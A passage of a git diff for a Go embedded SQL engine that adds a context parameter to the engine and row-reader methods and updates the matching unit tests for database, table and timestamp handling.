d.ResolveFunc(ctx, tx, params, scanSpecs) } func (d *dummyDataSource) Alias() string { diff --git a/embedded/sql/dummy_row_reader_test.go b/embedded/sql/dummy_row_reader_test.go index 6351d4e231..a4fbdb3885 100644 --- a/embedded/sql/dummy_row_reader_test.go +++ b/embedded/sql/dummy_row_reader_test.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "errors" ) @@ -48,7 +49,7 @@ func (r *dummyRowReader) TableAlias() string { return "table1" } -func (r *dummyRowReader) Read() (*Row, error) { +func (r *dummyRowReader) Read(ctx context.Context) (*Row, error) { return nil, errDummy } @@ -71,7 +72,7 @@ func (r *dummyRowReader) ScanSpecs() *ScanSpecs { return nil } -func (r *dummyRowReader) Columns() ([]ColDescriptor, error) { +func (r *dummyRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { if r.failReturningColumns { return nil, errDummy } @@ -93,7 +94,7 @@ func (r *dummyRowReader) SetParameters(params map[string]interface{}) error { return nil } -func (r *dummyRowReader) InferParameters(params map[string]SQLValueType) error { +func (r *dummyRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { if r.failInferringParams { return errDummy } @@ -101,6 +102,6 @@ func (r *dummyRowReader) InferParameters(params map[string]SQLValueType) error { return nil } -func (r *dummyRowReader) colsBySelector() (map[string]ColDescriptor, error) { +func (r *dummyRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return nil, errDummy } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 052034a035..f6acbbe497 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -146,8 +146,8 @@ func (e *Engine) SetMultiDBHandler(handler MultiDBHandler) { e.multidbHandler = handler } -func (e *Engine) SetCurrentDatabase(dbName string) error { - tx, err := e.NewTx(context.Background(), DefaultTxOptions().WithReadOnly(true)) +func (e *Engine) SetCurrentDatabase(ctx context.Context, dbName string) error { + tx, err := e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true)) if err != nil { return err } @@ -229,17 +229,17 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { }, nil } -func (e *Engine) Exec(sql string, params map[string]interface{}, tx *SQLTx) (ntx *SQLTx, committedTxs []*SQLTx, err error) { +func (e *Engine) Exec(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) { stmts, err := Parse(strings.NewReader(sql)) if err != nil { return nil, nil, fmt.Errorf("%w: %v", ErrParsingError, err) } - return e.ExecPreparedStmts(stmts, params, tx) + return e.ExecPreparedStmts(ctx, tx, stmts, params) } -func (e *Engine) ExecPreparedStmts(stmts []SQLStmt, params map[string]interface{}, tx *SQLTx) (ntx *SQLTx, committedTxs []*SQLTx, err error) { - ntx, ctxs, pendingStmts, err := e.execPreparedStmts(stmts, params, tx) +func (e *Engine) ExecPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) { + ntx, ctxs, pendingStmts, err := e.execPreparedStmts(ctx, tx, stmts, params) if err != nil { return ntx, ctxs, err } @@ -251,14 +251,11 @@ func (e *Engine) ExecPreparedStmts(stmts []SQLStmt, params map[string]interface{ return ntx, ctxs, fmt.Errorf("%w: all statements should have been executed when not using a multidbHandler", ErrUnexpected) } - var ctx context.Context var opts *TxOptions if tx != nil { - ctx = tx.Context() opts = tx.opts } else { - ctx = context.Background() opts = DefaultTxOptions() } @@ -270,7 +267,7 @@ func (e *Engine) ExecPreparedStmts(stmts []SQLStmt, params map[string]interface{ return ntx, ctxs, nil } -func (e *Engine) execPreparedStmts(stmts []SQLStmt, params map[string]interface{}, tx *SQLTx) (ntx *SQLTx, committedTxs []*SQLTx, pendingStmts []SQLStmt, err error) { +func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, pendingStmts []SQLStmt, err error) { if len(stmts) == 0 { return nil, nil, stmts, ErrIllegalArguments } @@ -293,7 +290,7 @@ func (e *Engine) execPreparedStmts(stmts []SQLStmt, params map[string]interface{ // handle the case when working in non-autocommit mode outside a transaction block if isDBSelectionStmt && (currTx != nil && !currTx.closed) && !currTx.explicitClose { - err = currTx.commit() + err = currTx.commit(ctx) if err == nil { committedTxs = append(committedTxs, currTx) } @@ -303,17 +300,13 @@ func (e *Engine) execPreparedStmts(stmts []SQLStmt, params map[string]interface{ } if currTx == nil || currTx.closed { - var ctx context.Context var opts *TxOptions if currTx != nil { - ctx = currTx.Context() opts = currTx.opts } else if tx != nil { - ctx = tx.Context() opts = tx.opts } else { - ctx = context.Background() opts = DefaultTxOptions() } @@ -324,14 +317,14 @@ func (e *Engine) execPreparedStmts(stmts []SQLStmt, params map[string]interface{ } } - ntx, err := stmt.execAt(currTx, nparams) + ntx, err := stmt.execAt(ctx, currTx, nparams) if err != nil { currTx.Cancel() return nil, committedTxs, stmts[execStmts:], err } if !currTx.closed && !currTx.explicitClose && e.autocommit { - err = currTx.commit() + err = currTx.commit(ctx) if err != nil { return nil, committedTxs, stmts[execStmts:], err } @@ -351,7 +344,7 @@ func (e *Engine) execPreparedStmts(stmts []SQLStmt, params map[string]interface{ } if currTx != nil && !currTx.closed && !currTx.explicitClose { - err = currTx.commit() + err = currTx.commit(ctx) if err != nil { return nil, committedTxs, stmts[execStmts:], err } @@ -366,7 +359,7 @@ func (e *Engine) execPreparedStmts(stmts []SQLStmt, params map[string]interface{ return currTx, committedTxs, stmts[execStmts:], nil } -func (e *Engine) Query(sql string, params map[string]interface{}, tx *SQLTx) (RowReader, error) { +func (e *Engine) Query(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (RowReader, error) { stmts, err := Parse(strings.NewReader(sql)) if err != nil { return nil, fmt.Errorf("%w: %v", ErrParsingError, err) @@ -380,10 +373,10 @@ func (e *Engine) Query(sql string, params map[string]interface{}, tx *SQLTx) (Ro return nil, ErrExpectingDQLStmt } - return e.QueryPreparedStmt(stmt, params, tx) + return e.QueryPreparedStmt(ctx, tx, stmt, params) } -func (e *Engine) QueryPreparedStmt(stmt DataSource, params map[string]interface{}, tx *SQLTx) (rowReader RowReader, err error) { +func (e *Engine) QueryPreparedStmt(ctx context.Context, tx *SQLTx, stmt DataSource, params map[string]interface{}) (rowReader RowReader, err error) { if stmt == nil { return nil, ErrIllegalArguments } @@ -391,7 +384,7 @@ func (e *Engine) QueryPreparedStmt(stmt DataSource, params map[string]interface{ qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background(), DefaultTxOptions().WithReadOnly(true)) + qtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } @@ -407,12 +400,12 @@ func (e *Engine) QueryPreparedStmt(stmt DataSource, params map[string]interface{ return nil, err } - _, err = stmt.execAt(qtx, nparams) + _, err = stmt.execAt(ctx, qtx, nparams) if err != nil { return nil, err } - r, err := stmt.Resolve(qtx, nparams, nil) + r, err := stmt.Resolve(ctx, qtx, nparams, nil) if err != nil { return nil, err } @@ -426,11 +419,11 @@ func (e *Engine) QueryPreparedStmt(stmt DataSource, params map[string]interface{ return r, nil } -func (e *Engine) Catalog(tx *SQLTx) (catalog *Catalog, err error) { +func (e *Engine) Catalog(ctx context.Context, tx *SQLTx) (catalog *Catalog, err error) { qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background(), DefaultTxOptions().WithReadOnly(true)) + qtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } @@ -440,16 +433,16 @@ func (e *Engine) Catalog(tx *SQLTx) (catalog *Catalog, err error) { return qtx.Catalog(), nil } -func (e *Engine) InferParameters(sql string, tx *SQLTx) (params map[string]SQLValueType, err error) { +func (e *Engine) InferParameters(ctx context.Context, tx *SQLTx, sql string) (params map[string]SQLValueType, err error) { stmts, err := Parse(strings.NewReader(sql)) if err != nil { return nil, fmt.Errorf("%w: %v", ErrParsingError, err) } - return e.InferParametersPreparedStmts(stmts, tx) + return e.InferParametersPreparedStmts(ctx, tx, stmts) } -func (e *Engine) InferParametersPreparedStmts(stmts []SQLStmt, tx *SQLTx) (params map[string]SQLValueType, err error) { +func (e *Engine) InferParametersPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt) (params map[string]SQLValueType, err error) { if len(stmts) == 0 { return nil, ErrIllegalArguments } @@ -457,7 +450,7 @@ func (e *Engine) InferParametersPreparedStmts(stmts []SQLStmt, tx *SQLTx) (param qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background(), DefaultTxOptions().WithReadOnly(true)) + qtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } @@ -467,7 +460,7 @@ func (e *Engine) InferParametersPreparedStmts(stmts []SQLStmt, tx *SQLTx) (param params = make(map[string]SQLValueType) for _, stmt := range stmts { - err = stmt.inferParameters(qtx, params) + err = stmt.inferParameters(ctx, qtx, params) if err != nil { return nil, err } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index c12cc98810..b81bb43429 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -50,10 +50,10 @@ func setupCommonTest(t *testing.T) *Engine { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1;", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1;", nil) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1;", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) require.NoError(t, err) return engine @@ -67,19 +67,19 @@ func TestCreateDatabase(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.Equal(t, ErrDatabaseAlreadyExists, err) - _, _, err = engine.Exec("CREATE DATABASE IF NOT EXISTS db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE IF NOT EXISTS db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db2", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db2", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE IF NOT EXISTS db3", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE IF NOT EXISTS db3", nil) require.NoError(t, err) } @@ -91,26 +91,26 @@ func TestUseDatabase(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.NoError(t, err) require.Equal(t, "db1", engine.CurrentDatabase()) - _, _, err = engine.Exec("USE DATABASE db2", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db2", nil) require.ErrorIs(t, err, ErrDatabaseDoesNotExist) require.Equal(t, "db1", engine.CurrentDatabase()) - _, _, err = engine.Exec("CREATE DATABASE db2", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db2", nil) require.NoError(t, err) - _, _, err = engine.Exec(` + _, _, err = engine.Exec(context.Background(), nil, ` USE db1; CREATE TABLE table1(id INTEGER, PRIMARY KEY id); USE db2; CREATE TABLE table1(id INTEGER, PRIMARY KEY id); - `, nil, nil) + `, nil) require.NoError(t, err) require.Equal(t, "db2", engine.CurrentDatabase()) } @@ -123,44 +123,44 @@ func TestCreateTable(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil) require.Equal(t, ErrNoDatabaseSelected, err) - _, _, err = engine.Exec("CREATE DATABASE IF NOT EXISTS db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE IF NOT EXISTS db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1;", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, _, err = engine.Exec("CREATE TABLE table1 (name VARCHAR, PRIMARY KEY name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY name)", nil) require.ErrorIs(t, err, ErrLimitedKeyType) - _, _, err = engine.Exec("CREATE TABLE table1 (name VARCHAR[512], PRIMARY KEY name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR[512], PRIMARY KEY name)", nil) require.ErrorIs(t, err, ErrLimitedKeyType) - _, _, err = engine.Exec("CREATE TABLE table1 (name VARCHAR[32], PRIMARY KEY name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR[32], PRIMARY KEY name)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table2 (id INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2 (id INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrTableAlreadyExists) - _, _, err = engine.Exec("CREATE TABLE IF NOT EXISTS table1 (id INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS table1 (id INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) } func TestTimestampType(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) sel := EncodeSelector("", "db1", "timestamp_table", "ts") @@ -168,19 +168,19 @@ func TestTimestampType(t *testing.T) { t.Run("must accept NOW() as a timestamp", func(t *testing.T) { tsBefore := time.Now().UTC() - _, _, err = engine.Exec("INSERT INTO timestamp_table(ts) VALUES(NOW())", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(NOW())", nil) require.NoError(t, err) tsAfter := time.Now().UTC() - _, err := engine.InferParameters("SELECT ts FROM timestamp_table WHERE ts < 1 + NOW()", nil) + _, err := engine.InferParameters(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts < 1 + NOW()") require.ErrorIs(t, err, ErrInvalidTypes) - r, err := engine.Query("SELECT ts FROM timestamp_table WHERE ts < NOW() ORDER BY id DESC LIMIT 1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts < NOW() ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.False(t, tsBefore.After(row.ValuesBySelector[sel].Value().(time.Time))) @@ -191,55 +191,55 @@ func TestTimestampType(t *testing.T) { }) t.Run("must accept time.Time as timestamp parameter", func(t *testing.T) { - _, _, err = engine.Exec( + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(@ts)", map[string]interface{}{ "ts": time.Date(2021, 12, 1, 18, 06, 14, 0, time.UTC), }, - nil, ) require.NoError(t, err) - r, err := engine.Query("SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.Equal(t, time.Date(2021, 12, 1, 18, 06, 14, 0, time.UTC), row.ValuesBySelector[sel].Value()) }) t.Run("must correctly validate timestamp equality", func(t *testing.T) { - _, _, err = engine.Exec( + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(@ts)", map[string]interface{}{ "ts": time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), }, - nil, ) require.NoError(t, err) - r, err := engine.Query("SELECT ts FROM timestamp_table WHERE ts = @ts ORDER BY id", map[string]interface{}{ - "ts": time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), - }, nil) + r, err := engine.Query(context.Background(), nil, + "SELECT ts FROM timestamp_table WHERE ts = @ts ORDER BY id", map[string]interface{}{ + "ts": time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), + }) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.Equal(t, time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), row.ValuesBySelector[sel].Value()) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) - r, err = engine.Query("SELECT ts FROM timestamp_table WHERE ts = @ts ORDER BY id", map[string]interface{}{ - "ts": "2021-12-06 10:14", - }, nil) + r, err = engine.Query(context.Background(), nil, + "SELECT ts FROM timestamp_table WHERE ts = @ts ORDER BY id", map[string]interface{}{ + "ts": "2021-12-06 10:14", + }) require.NoError(t, err) - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNotComparableValues) err = r.Close() @@ -250,35 +250,35 @@ func TestTimestampType(t *testing.T) { func TestTimestampIndex(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE IF NOT EXISTS timestamp_index (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS timestamp_index (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON timestamp_index(ts)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON timestamp_index(ts)", nil) require.NoError(t, err) for i := 100; i > 0; i-- { - _, _, err = engine.Exec("INSERT INTO timestamp_index(ts) VALUES(@ts)", map[string]interface{}{"ts": time.Unix(int64(i), 0)}, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_index(ts) VALUES(@ts)", map[string]interface{}{"ts": time.Unix(int64(i), 0)}) require.NoError(t, err) } - r, err := engine.Query("SELECT * FROM timestamp_index ORDER BY ts", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM timestamp_index ORDER BY ts", nil) require.NoError(t, err) defer r.Close() for i := 100; i > 0; i-- { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "db1", "timestamp_index", "id")].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) } func TestTimestampCasts(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) sel := EncodeSelector("", "db1", "timestamp_table", "ts") @@ -293,14 +293,15 @@ func TestTimestampCasts(t *testing.T) { } { t.Run(fmt.Sprintf("insert a timestamp value using a cast from '%s'", d.str), func(t *testing.T) { _, _, err = engine.Exec( - fmt.Sprintf("INSERT INTO timestamp_table(ts) VALUES(CAST('%s' AS TIMESTAMP))", d.str), nil, nil) + context.Background(), nil, + fmt.Sprintf("INSERT INTO timestamp_table(ts) VALUES(CAST('%s' AS TIMESTAMP))", d.str), nil) require.NoError(t, err) - r, err := engine.Query("SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.Equal(t, d.t, row.ValuesBySelector[sel].Value()) @@ -309,14 +310,15 @@ func TestTimestampCasts(t *testing.T) { t.Run("insert a timestamp value using a cast from INTEGER", func(t *testing.T) { _, _, err = engine.Exec( - "INSERT INTO timestamp_table(ts) VALUES(CAST(123456 AS TIMESTAMP))", nil, nil) + context.Background(), nil, + "INSERT INTO timestamp_table(ts) VALUES(CAST(123456 AS TIMESTAMP))", nil) require.NoError(t, err) - r, err := engine.Query("SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.Equal(t, time.Unix(123456, 0).UTC(), row.ValuesBySelector[sel].Value()) @@ -324,33 +326,38 @@ func TestTimestampCasts(t *testing.T) { t.Run("test casting from null values", func(t *testing.T) { _, _, err = engine.Exec( + context.Background(), nil, ` CREATE TABLE IF NOT EXISTS values_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, str VARCHAR, i INTEGER, PRIMARY KEY id); INSERT INTO values_table(ts, str,i) VALUES(NOW(), NULL, NULL); - `, nil, nil) + `, nil) require.NoError(t, err) _, _, err = engine.Exec( + context.Background(), nil, ` UPDATE values_table SET ts = CAST(str AS TIMESTAMP); - `, nil, nil) + `, nil) require.NoError(t, err) _, _, err = engine.Exec( + context.Background(), nil, ` UPDATE values_table SET ts = CAST(i AS TIMESTAMP); - `, nil, nil) + `, nil) require.NoError(t, err) }) t.Run("test casting invalid string", func(t *testing.T) { - _, _, err = engine.Exec("INSERT INTO timestamp_table(ts) VALUES(CAST('not a datetime' AS TIMESTAMP))", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST('not a datetime' AS TIMESTAMP))", nil) require.ErrorIs(t, err, ErrIllegalArguments) require.Contains(t, err.Error(), "can not cast") - _, _, err = engine.Exec("INSERT INTO timestamp_table(ts) VALUES(CAST(@ts AS TIMESTAMP))", map[string]interface{}{ - "ts": strings.Repeat("long string ", 1000), - }, nil) + _, _, err = engine.Exec( + context.Background(), nil, + "INSERT INTO timestamp_table(ts) VALUES(CAST(@ts AS TIMESTAMP))", map[string]interface{}{ + "ts": strings.Repeat("long string ", 1000), + }) require.ErrorIs(t, err, ErrIllegalArguments) require.Less(t, len(err.Error()), 100) require.Contains(t, err.Error(), "can not cast") @@ -358,21 +365,21 @@ func TestTimestampCasts(t *testing.T) { }) t.Run("test casting unsupported type", func(t *testing.T) { - _, _, err = engine.Exec("INSERT INTO timestamp_table(ts) VALUES(CAST(true AS TIMESTAMP))", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST(true AS TIMESTAMP))", nil) require.ErrorIs(t, err, ErrUnsupportedCast) - _, _, err = engine.Exec("INSERT INTO timestamp_table(ts) VALUES(CAST(true AS INTEGER))", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST(true AS INTEGER))", nil) require.ErrorIs(t, err, ErrUnsupportedCast) }) t.Run("test type inference with casting", func(t *testing.T) { - _, err = engine.Query("SELECT * FROM timestamp_table WHERE id < CAST(true AS TIMESTAMP)", nil, nil) + _, err = engine.Query(context.Background(), nil, "SELECT * FROM timestamp_table WHERE id < CAST(true AS TIMESTAMP)", nil) require.ErrorIs(t, err, ErrUnsupportedCast) - rowReader, err := engine.Query("SELECT * FROM timestamp_table WHERE ts > CAST(id AS TIMESTAMP)", nil, nil) + rowReader, err := engine.Query(context.Background(), nil, "SELECT * FROM timestamp_table WHERE ts > CAST(id AS TIMESTAMP)", nil) require.NoError(t, err) - _, err = rowReader.Read() + _, err = rowReader.Read(context.Background()) require.NoError(t, err) require.NoError(t, rowReader.Close()) @@ -382,7 +389,7 @@ func TestTimestampCasts(t *testing.T) { func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE tx_timestamp (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE tx_timestamp (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) currentTs := time.Now() @@ -390,30 +397,30 @@ func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { for it := 0; it < 3; it++ { time.Sleep(1 * time.Microsecond) - tx, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) require.True(t, tx.Timestamp().After(currentTs)) for i := 0; i < 5; i++ { - _, _, err = engine.Exec("INSERT INTO tx_timestamp(ts) VALUES (NOW()), (NOW())", nil, tx) + _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO tx_timestamp(ts) VALUES (NOW()), (NOW())", nil) require.NoError(t, err) } - _, _, err = engine.Exec("COMMIT;", nil, tx) + _, _, err = engine.Exec(context.Background(), tx, "COMMIT;", nil) require.NoError(t, err) - r, err := engine.Query("SELECT * FROM tx_timestamp WHERE ts = @ts", map[string]interface{}{"ts": tx.Timestamp()}, nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM tx_timestamp WHERE ts = @ts", map[string]interface{}{"ts": tx.Timestamp()}) require.NoError(t, err) defer r.Close() for i := 0; i < 10; i++ { - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector("", "db1", "tx_timestamp", "ts")].Value()) } - _, err = r.Read() + _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) currentTs = tx.Timestamp() @@ -431,59 +438,59 @@ func TestAddColumn(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrNoDatabaseSelected) - _, _, err = engine.Exec("ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil) require.ErrorIs(t, err, ErrNoDatabaseSelected) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1(name, surname) VALUES('John', 'Smith')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name, surname) VALUES('John', 'Smith')", nil) require.ErrorIs(t, 